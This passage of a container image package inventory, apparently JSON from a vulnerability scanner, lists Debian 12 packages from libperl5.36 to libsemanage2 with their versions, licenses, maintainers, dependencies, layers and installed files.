"/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Digest/SHA/SHA.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Encode/Byte/Byte.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Encode/CN/CN.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Encode/EBCDIC/EBCDIC.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Encode/Encode.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Encode/JP/JP.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Encode/KR/KR.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Encode/Symbol/Symbol.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Encode/TW/TW.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Encode/Unicode/Unicode.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Fcntl/Fcntl.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/File/DosGlob/DosGlob.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/File/Glob/Glob.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Filter/Util/Call/Call.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/GDBM_File/GDBM_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Hash/Util/FieldHash/FieldHash.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Hash/Util/Util.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/I18N/Langinfo/Langinfo.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/IO/IO.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/IPC/SysV/SysV.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/List/Util/Util.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/MIME/Base64/Base64.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Math/BigInt/FastCalc/FastCalc.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/NDBM_File/NDBM_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/ODBM_File/ODBM_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Opcode/Opcode.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/POSIX/POSIX.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/PerlIO/encoding/encoding.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/PerlIO/mmap/mmap.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/PerlIO/scalar/scalar.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/PerlIO/via/via.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/SDBM_File/SDBM_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Socket/Socket.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Storable/Storable.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Sys/Hostname/Hostname.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Sys/Syslog/Syslog.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Time/HiRes/HiRes.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Time/Piece/Piece.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Unicode/Collate/Collate.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Unicode/Normalize/Normalize.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/attributes/attributes.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/mro/mro.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/re/re.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/threads/shared/shared.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/threads/threads.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/atomic_wide_counter.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/byteswap.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/confname.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/endian.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/endianness.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/environments.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/floatn-common.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/floatn.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/getopt_core.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/getopt_posix.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/ioctl-types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/ioctls.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/long-double.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/posix_opt.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/pthreadtypes-arch.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/pthreadtypes.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/select.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/select2.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/sigaction.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/sigcontext.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/sigevent-consts.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/siginfo-arch.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/siginfo-consts-arch.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/siginfo-consts.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/signal_ext.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/signum-arch.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/signum-generic.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/sigstack.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/sigstksz.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/sigthread.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/sockaddr.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/socket-constants.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/socket.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/socket2.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/socket_type.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/ss_flags.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/stdint-intn.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/struct_mutex.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/struct_rwlock.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/syscall.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/syslog-ldbl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/syslog-path.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/syslog.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/thread-shared-types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/time64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/timesize.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/__sigset_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/__sigval_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/clock_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/clockid_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/idtype_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/sig_atomic_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/sigevent_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/siginfo_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/sigset_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/sigval_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/stack_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/struct_iovec.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/struct_osockaddr.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/struct_rusage.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/struct_sigstack.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/struct_timespec.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/struct_timeval.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/time_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/types/timer_t.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/typesizes.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/uintn-identity.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/unistd.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/unistd_ext.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/waitflags.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/waitstatus.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/wordsize.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/encoding.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/endian.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/errno.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/features-time64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/features.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/gnu/stubs-64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/gnu/stubs.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/lib.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/linux/ioctl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/linux/posix_types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/linux/stddef.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/mro.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/ops.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/re.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/signal.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/stdarg.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/stdc-predef.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/stddef.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/sys/cdefs.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/sys/ioctl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/sys/select.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/sys/socket.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/sys/syscall.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/sys/syslog.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/sys/time.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/sys/ttydefaults.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/sys/types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/sys/ucontext.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/sys/wait.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/syscall.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/sysexits.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/syslimits.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/syslog.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/threads.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/threads/shared.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/unistd.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/wait.ph", "/usr/lib/x86_64-linux-gnu/perl/debian-config-data-5.36.0/README", "/usr/lib/x86_64-linux-gnu/perl/debian-config-data-5.36.0/config.sh.debug.gz", "/usr/lib/x86_64-linux-gnu/perl/debian-config-data-5.36.0/config.sh.shared.gz", "/usr/lib/x86_64-linux-gnu/perl/debian-config-data-5.36.0/config.sh.static.gz", "/usr/share/doc/libperl5.36/changelog.Debian.gz", "/usr/share/doc/libperl5.36/changelog.gz", "/usr/share/doc/libperl5.36/copyright", "/usr/share/lintian/overrides/libperl5.36", "/usr/share/man/man1/cpan5.36-x86_64-linux-gnu.1.gz", "/usr/share/man/man1/perl5.36-x86_64-linux-gnu.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libpixman-1-0@0.42.2-1", "Name": "libpixman-1-0", "Identifier": { "PURL": "pkg:deb/debian/libpixman-1-0@0.42.2-1?arch=amd64\u0026distro=debian-12.13", "UID": "eb708bcc65b6343d" }, "Version": "0.42.2", "Release": "1", "Arch": "amd64", "SrcName": "pixman", "SrcVersion": "0.42.2", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libpixman-1.so.0.42.2", "/usr/share/doc/libpixman-1-0/changelog.Debian.gz", "/usr/share/doc/libpixman-1-0/changelog.gz", "/usr/share/doc/libpixman-1-0/copyright", "/usr/share/lintian/overrides/libpixman-1-0" ], "AnalyzedBy": "dpkg" }, { "ID": "libpng16-16@1.6.39-2+deb12u1", "Name": "libpng16-16", "Identifier": { "PURL": "pkg:deb/debian/libpng16-16@1.6.39-2%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "b3bc8ee9dbf92b13" }, "Version": "1.6.39", "Release": "2+deb12u1", "Arch": "amd64", "SrcName": "libpng1.6", "SrcVersion": "1.6.39", "SrcRelease": "2+deb12u1", "Licenses": [ "Libpng", "MIT", "GPL-2.0-or-later", "BSD-like-with-advertising-clause", "libpng OR Apache-2.0 OR BSD-3-clause", "Apache-2.0", "GPL-2.0-only", "BSD-3-Clause" ], "Maintainer": "Maintainers of libpng1.6 packages \u003clibpng1.6@packages.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libpng16.so.16.39.0", "/usr/share/doc-base/libpng16-16.libpng16", "/usr/share/doc/libpng16-16/ANNOUNCE", "/usr/share/doc/libpng16-16/README.gz", "/usr/share/doc/libpng16-16/TODO", "/usr/share/doc/libpng16-16/changelog.Debian.gz", "/usr/share/doc/libpng16-16/changelog.gz", "/usr/share/doc/libpng16-16/copyright", "/usr/share/doc/libpng16-16/libpng-manual.txt.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libportaudio2@19.6.0-1.2", "Name": "libportaudio2", "Identifier": { "PURL": "pkg:deb/debian/libportaudio2@19.6.0-1.2?arch=amd64\u0026distro=debian-12.13", "UID": "bc7e1fb0a76c3afc" }, "Version": "19.6.0", "Release": "1.2", "Arch": "amd64", "SrcName": "portaudio19", "SrcVersion": "19.6.0", "SrcRelease": "1.2", "Maintainer": "Debian VoIP Team \u003cpkg-voip-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libasound2@1.2.8-1+b1", "libc6@2.36-9+deb12u13", "libjack-jackd2-0@1.9.21~dfsg-3" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libportaudio.so.2.0.0", "/usr/share/doc/libportaudio2/README.Debian", "/usr/share/doc/libportaudio2/changelog.Debian.gz", "/usr/share/doc/libportaudio2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libpsl5@0.21.2-1", "Name": "libpsl5", "Identifier": { "PURL": "pkg:deb/debian/libpsl5@0.21.2-1?arch=amd64\u0026distro=debian-12.13", "UID": "5020c42859888b80" }, "Version": "0.21.2", "Release": "1", "Arch": "amd64", "SrcName": "libpsl", "SrcVersion": "0.21.2", "SrcRelease": "1", "Licenses": [ "MIT", "gnulib", "Chromium" ], "Maintainer": "Tim Rühsen \u003ctim.ruehsen@gmx.de\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libidn2-0@2.3.3-1+b1", "libunistring2@1.0-2" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libpsl.so.5.3.4", "/usr/share/doc/libpsl5/changelog.Debian.gz", "/usr/share/doc/libpsl5/changelog.gz", "/usr/share/doc/libpsl5/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libquadmath0@12.2.0-14+deb12u1", "Name": "libquadmath0", "Identifier": { "PURL": "pkg:deb/debian/libquadmath0@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "fe83bc13000127d4" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libquadmath.so.0.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libreadline8@8.2-1.3", "Name": "libreadline8", "Identifier": { "PURL": "pkg:deb/debian/libreadline8@8.2-1.3?arch=amd64\u0026distro=debian-12.13", "UID": "179585d1f45f6f0f" }, "Version": "8.2", "Release": "1.3", "Arch": "amd64", "SrcName": "readline", "SrcVersion": "8.2", "SrcRelease": "1.3", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "GPL-2.0-or-later", "GPL-2.0-only", "GFDL-1.3-no-invariants-or-later", "GFDL-1.3-or-later", "ISC-no-attribution" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libtinfo6@6.4-4", "readline-common@8.2-1.3" ], "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libhistory.so.8.2", "/lib/x86_64-linux-gnu/libreadline.so.8.2", "/usr/share/doc/libreadline8/README.Debian", "/usr/share/doc/libreadline8/USAGE", "/usr/share/doc/libreadline8/changelog.Debian.gz", "/usr/share/doc/libreadline8/changelog.gz", "/usr/share/doc/libreadline8/copyright", "/usr/share/doc/libreadline8/examples/Inputrc", "/usr/share/doc/libreadline8/inputrc.arrows" ], "AnalyzedBy": "dpkg" }, { "ID": "librtmp1@2.4+20151223.gitfa8646d.1-2+b2", "Name": "librtmp1", "Identifier": { "PURL": "pkg:deb/debian/librtmp1@2.4%2B20151223.gitfa8646d.1-2%2Bb2?arch=amd64\u0026distro=debian-12.13", "UID": "5988e96c62fa68f0" }, "Version": "2.4+20151223.gitfa8646d.1", "Release": "2+b2", "Arch": "amd64", "SrcName": "rtmpdump", "SrcVersion": "2.4+20151223.gitfa8646d.1", "SrcRelease": "2", "Licenses": [ "GPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian Multimedia Maintainers \u003cdebian-multimedia@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libgmp10@2:6.2.1+dfsg1-1.1", "libgnutls30@3.7.9-2+deb12u5", "libhogweed6@3.8.1-2", "libnettle8@3.8.1-2", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/librtmp.so.1", "/usr/share/doc/librtmp1/changelog.Debian.amd64.gz", "/usr/share/doc/librtmp1/changelog.Debian.gz", "/usr/share/doc/librtmp1/changelog.gz", "/usr/share/doc/librtmp1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsamplerate0@0.2.2-3", "Name": "libsamplerate0", "Identifier": { "PURL": "pkg:deb/debian/libsamplerate0@0.2.2-3?arch=amd64\u0026distro=debian-12.13", "UID": "b6509b0d5115354" }, "Version": "0.2.2", "Release": "3", "Arch": "amd64", "SrcName": "libsamplerate", "SrcVersion": "0.2.2", "SrcRelease": "3", "Licenses": [ "BSD-2-Clause", "GPL-2.0-or-later", "FSFAP", "GPL-3.0-or-later", "GPL-2.0-only", "GPL-3.0-only" ], "Maintainer": "Debian Multimedia Maintainers \u003cdebian-multimedia@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsamplerate.so.0.2.2", "/usr/share/doc/libsamplerate0/changelog.Debian.gz", "/usr/share/doc/libsamplerate0/changelog.gz", "/usr/share/doc/libsamplerate0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsasl2-2@2.1.28+dfsg-10", "Name": "libsasl2-2", "Identifier": { "PURL": "pkg:deb/debian/libsasl2-2@2.1.28%2Bdfsg-10?arch=amd64\u0026distro=debian-12.13", "UID": "12888c0a2030f540" }, "Version": "2.1.28+dfsg", "Release": "10", "Arch": "amd64", "SrcName": "cyrus-sasl2", "SrcVersion": "2.1.28+dfsg", "SrcRelease": "10", "Licenses": [ "BSD-4-Clause", "OpenSSL", "SSLeay", "BSD-3-Clause", "BSD-2-Clause", "GPL-3.0-or-later", "GPL-3.0-only", "BSD-4-Clause-UC", "RSA-MD", "BSD-4-clause-KTH", "text://BSD-4-clause and IBM-as-is", "BSD-3-clause-JANET", "BSD-3-clause-PADL", "MIT-OpenVision", "OpenLDAP", "FSFULLR", "MIT-CMU", "MIT-Export", "BSD-2.2-clause", "text://IBM-as-is" ], "Maintainer": "Debian Cyrus Team \u003cteam+cyrus@tracker.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libsasl2-modules-db@2.1.28+dfsg-10" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25", "/usr/share/doc/libsasl2-2/NEWS.Debian.gz", "/usr/share/doc/libsasl2-2/README.Debian", "/usr/share/doc/libsasl2-2/changelog.Debian.gz", "/usr/share/doc/libsasl2-2/copyright", "/usr/share/man/man5/libsasl.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libsasl2-modules-db@2.1.28+dfsg-10", "Name": "libsasl2-modules-db", "Identifier": { "PURL": "pkg:deb/debian/libsasl2-modules-db@2.1.28%2Bdfsg-10?arch=amd64\u0026distro=debian-12.13", "UID": "a62e3efd0f6352f" }, "Version": "2.1.28+dfsg", "Release": "10", "Arch": "amd64", "SrcName": "cyrus-sasl2", "SrcVersion": "2.1.28+dfsg", "SrcRelease": "10", "Licenses": [ "BSD-4-Clause", "OpenSSL", "SSLeay", "BSD-3-Clause", "BSD-2-Clause", "GPL-3.0-or-later", "GPL-3.0-only", "BSD-4-Clause-UC", "RSA-MD", "BSD-4-clause-KTH", "text://BSD-4-clause and IBM-as-is", "BSD-3-clause-JANET", "BSD-3-clause-PADL", "MIT-OpenVision", "OpenLDAP", "FSFULLR", "MIT-CMU", "MIT-Export", "BSD-2.2-clause", "text://IBM-as-is" ], "Maintainer": "Debian Cyrus Team \u003cteam+cyrus@tracker.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libdb5.3@5.3.28+dfsg2-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/sasl2/libsasldb.so.2.0.25", "/usr/share/doc/libsasl2-modules-db/NEWS.Debian.gz", "/usr/share/doc/libsasl2-modules-db/changelog.Debian.gz", "/usr/share/doc/libsasl2-modules-db/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libseccomp2@2.5.4-1+deb12u1", "Name": "libseccomp2", "Identifier": { "PURL": "pkg:deb/debian/libseccomp2@2.5.4-1%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "6d0f943c78e44c5c" }, "Version": "2.5.4", "Release": "1+deb12u1", "Arch": "amd64", "SrcName": "libseccomp", "SrcVersion": "2.5.4", "SrcRelease": "1+deb12u1", "Licenses": [ "LGPL-2.1-only" ], "Maintainer": "Kees Cook \u003ckees@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.4", "/usr/share/doc/libseccomp2/changelog.Debian.gz", "/usr/share/doc/libseccomp2/changelog.gz", "/usr/share/doc/libseccomp2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libselinux1@3.4-1+b6", "Name": "libselinux1", "Identifier": { "PURL": "pkg:deb/debian/libselinux1@3.4-1%2Bb6?arch=amd64\u0026distro=debian-12.13", "UID": "d8f92a0886ddbe2e" }, "Version": "3.4", "Release": "1+b6", "Arch": "amd64", "SrcName": "libselinux", "SrcVersion": "3.4", "SrcRelease": "1", "Licenses": [ "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "Debian SELinux maintainers \u003cselinux-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libpcre2-8-0@10.42-1" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libselinux.so.1", "/usr/share/doc/libselinux1/changelog.Debian.amd64.gz", "/usr/share/doc/libselinux1/changelog.Debian.gz", "/usr/share/doc/libselinux1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsemanage-common@3.4-1", "Name": "libsemanage-common", "Identifier": { "PURL": "pkg:deb/debian/libsemanage-common@3.4-1?arch=all\u0026distro=debian-12.13", "UID": "92dad50d9f4fd095" }, "Version": "3.4", "Release": "1", "Arch": "all", "SrcName": "libsemanage", "SrcVersion": "3.4", "SrcRelease": "1", "Licenses": [ "LGPL-2.0-or-later", "GPL-2.0-or-later" ], "Maintainer": "Debian SELinux maintainers \u003cselinux-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/share/doc/libsemanage-common/changelog.Debian.gz", "/usr/share/doc/libsemanage-common/copyright", "/usr/share/man/man5/semanage.conf.5.gz", "/usr/share/man/ru/man5/semanage.conf.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libsemanage2@3.4-1+b5", "Name": "libsemanage2", "Identifier": { "PURL": "pkg:deb/debian/libsemanage2@3.4-1%2Bb5?arch=amd64\u0026distro=debian-12.13", "UID": "c317ba4554a819c3" }, "Version": "3.4", "Release": "1+b5", "Arch": "amd64", "SrcName": "libsemanage", "SrcVersion": "3.4", "SrcRelease": "1", "Licenses": [ "LGPL-2.0-or-later", "GPL-2.0-or-later" ], "Maintainer": "Debian SELinux maintainers \u003cselinux-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit1@1:3.0.9-1", "libbz2-1.0@1.0.8-5+b1", "libc6@2.36-9+deb12u13", "libselinux1@3.4-1+b6", "libsemanage-common@3.4-1", "libsepol2@3.4-2.1" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ 